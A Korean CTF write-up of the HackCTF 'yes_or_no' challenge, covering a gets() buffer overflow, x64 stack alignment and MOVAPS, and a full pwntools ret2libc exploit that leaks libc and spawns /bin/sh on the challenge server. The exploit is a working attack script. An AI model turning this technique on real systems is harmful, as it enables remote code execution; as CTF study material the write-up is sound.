-
[hackctf] yes_or_nohackctf 2021. 7. 29. 01:10
문제

문제 바이너리 실행 문제 파일을 다운받아 실행해보니 Show me your number~! 라는 문구를 출력하고 사용자로부터 입력을 받습니다.
1234 를 입력하니 All I can say to you is "do_system+1094" 를 출력해주며 종료합니다.
아이다를 사용하여 코드를 확인해보겠습니다.
int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // eax int v4; // eax int v5; // ecx int v6; // eax int v7; // eax char s; // [rsp+Eh] [rbp-12h] int v10; // [rsp+18h] [rbp-8h] int v11; // [rsp+1Ch] [rbp-4h] setvbuf(stdout, 0LL, 2, 0LL); v11 = 5; puts("Show me your number~!"); fgets(&s, 10, stdin); v10 = atoi(&s); if ( (v11 - 10) >> 3 < 0 ) { v4 = 0; } else { v3 = v11++; v4 = v10 - v3; } if ( v4 == v10 ) { puts("Sorry. You can't come with us"); } else { v5 = 1204 / ++v11; v6 = v11++; if ( v10 == (v6 * v5) << (++v11 % 20 + 5) ) { puts("That's cool. Follow me"); gets(&s); } else { v7 = v11--; if ( v10 == v7 ) { printf("Why are you here?"); return 0; } puts("All I can say to you is \"do_system+1094\".\ngood luck"); } } return 0; }조건문들을 만족시키면 That's cool. Follow me 가 출력되고 gets 함수를 사용하여 사용자로부터 입력을 받습니다. 취약한 함수인 gets 를 통해서 buffer overflow 가 가능할 것으로 보입니다.

보호기법으로는 NX bits 와 Partial RELRO 가 걸려있는 것으로 확인 됩니다. RTL 기법을 사용하여 Exploit 을 하면 될 것 같습니다.
풀이
우선 gdb를 사용하여 조건문을 만족시킬 수 있는 입력 값을 찾아보겠습니다.

조건문을 통과하여 사용자로부터 입력 값을 받는 gets 함수 전에 있는 조건문을 확인해보면 main+237 지점에서 eax와 [rbp-0x8] 을 비교합니다. 이 시점에 브레이크 포인트를 걸어서 eax 에 있는 값을 확인해보도록 하겠습니다.

rax 레지스터의 값을 확인해보면 0x960000 인걸 확인했습니다. 0x960000 의 10진수인 9830400 을 입력해주면 조건문을 통과할 수 있을 것으로 보입니다. 다음으로 gets 함수를 이용하여 RTL 을 해보도록 하겠습니다.
libc_base 및 system 함수의 주소, /bin/sh 문자열의 주소를 구하기 위해서 gdb를 사용하여 함수들의 offset을 구하도록 하겠습니다.

print 명령어를 사용하여 위에서 부터 차례대로 system_offset, gets_offset, binsh_offset 입니다. 이제 exploit 코드를 작성하여 libcbase 주소를 구하고 RTL 기법을 사용하여 exploit 해보도록 하겠습니다.
RTL을 하기전에 이 문제에서는 stack alignment 와 MOVAPS 명령어에 대해서 알고 있어야 합니다.
MOVAPS 명령어는 XMM 레지스터끼리 혹은 XMM 레지스터와 메모리 사이에서 double quadword( 16byte ) 크기의 데이터를 옮기는 인스트럭션인데, 메모리의 align이 맞지 않으면 general protection( #GP / SIGSEGV ) fault 를 발생시킵니다. 그리고 Ubuntu 18.04부터 이 movaps 인스트럭션이 do_system()을 포함한 여러 멀티미디어 오퍼레이션에 추가되어 exploit을 작성할 때 stack alignment를 신경 써야 합니다.

이 문제의 코드를 보면 All I can say to you is "do_system+1094" 라고 힌트를 줬습니다. gdb 를 사용하여 확인해보면 해당 위치에서 movaps 명령어를 사용하기 때문에 stack alignment 를 맞춰주어 exploit을 해야합니다.
Exploit Code
from pwn import * context.log_level='DEBUG' p = remote("ctf.j0n9hyun.xyz", 3009) #p = process("./yes_or_no", env={'LD_PRELOAD':'./libc-2.27.so'}) #gdb.attach(p) system_offset = 0x4f440 binsh_offset = 0x1b3e9a puts_plt = p64(0x0000000000400580) puts_got = p64(0x601018) gets_plt = p64(0x00000000004005b0) gets_got = p64(0x601030) gets_offset = 0x00000000000800b0 popret = p64(0x400883) ret = p64(0x0040056e) p.recvuntil("Show me your number~!\n") p.sendline("9830400") p.recvuntil("That's cool. Follow me\n") payload2 = "" payload2 += "A" * 0x1a payload2 += popret payload2 += gets_got payload2 += puts_plt payload2 += p64(0x00000000004006c7) p.sendline(payload2) gets = p.recv(6) print gets gets += "\x00\x00" libcbase = u64(gets) - gets_offset print libcbase system_addr = libcbase + system_offset print system_addr binsh = libcbase + binsh_offset p.recvuntil("Show me your number~!\n") p.sendline("9830400") p.recvuntil("That's cool. Follow me\n") payload = "" payload += "A" * 0x1a payload += ret payload += popret payload += p64(binsh) payload += p64(system_addr) p.sendline(payload) p.interactive()위 exploit 코드를 사용하여 성공적으로 flag 값을 획득할 수 있었습니다.
알게된 내용
MOVAPS 명령어와 Stack Alignment 에 대해서 공부할 수 있었고, pwntools의 gdb attach 기능을 처음 사용하여 동적 디버깅 연습하는 좋은 경험이었습니다. 분석할 때 동적 디버깅의 필요성을 다시 한번 느끼게 되었습니다.
References
https://hackyboiz.github.io/2020/12/06/fabu1ous/x64-stack-alignment/
'hackctf' 카테고리의 다른 글
[hackctf] rtlcore 풀이 (0) 2021.09.08 [hackctf] g++pwn 풀이 (0) 2021.08.12 [hackctf] rtl_world (0) 2021.08.09 [hackctf] rtc (0) 2021.07.26